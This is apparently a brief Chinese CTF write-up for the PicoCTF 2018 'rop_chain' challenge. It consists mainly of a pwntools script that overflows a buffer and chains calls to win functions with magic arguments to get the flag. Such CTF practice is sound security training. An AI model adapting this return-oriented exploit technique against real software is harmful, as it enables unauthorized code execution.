PicoCTF_2018_rop_chain
没什么好说的就是一个rop链构造
上代码
from pwn import *
#node4.buuoj.cn:25469
#io=remote("node4.buuoj.cn",25469)
io=process("./PicoCTF_2018_rop_chain")
elf=ELF('./PicoCTF_2018_rop_chain')
context.log_level='debug'
#io.recvline("Enter your input> ")
#rop=ROP("./PicoCTF_2018_rop_chain")
#rop.raw(0x1c*'a')
#rop.call('win_function2',[3131746989])
#gdb.attach(io)
payload=0x18*'a'+p32(1)+p32(elf.symbols['win_function1'])+p32(elf.symbols['win_function2'])+p32(elf.symbols['flag'])+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
print payload
#gdb.attach(io)
#pause()
io.sendlineafter("Enter your input> ",payload)
gdb.attach(io)
io.interactive()